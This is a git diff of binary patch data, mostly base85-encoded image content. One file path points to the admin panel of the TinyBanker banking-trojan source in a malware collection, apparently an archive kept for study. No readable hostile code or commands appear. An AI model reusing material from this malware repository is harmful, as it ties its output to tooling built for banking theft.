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 literal 0 HcmV?d00001 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/loading.gif b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/loading.gif new file mode 100644 index 0000000000000000000000000000000000000000..88cf1fbaecce2098a611e42e1302924b3f0ad26f GIT binary patch literal 74258 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 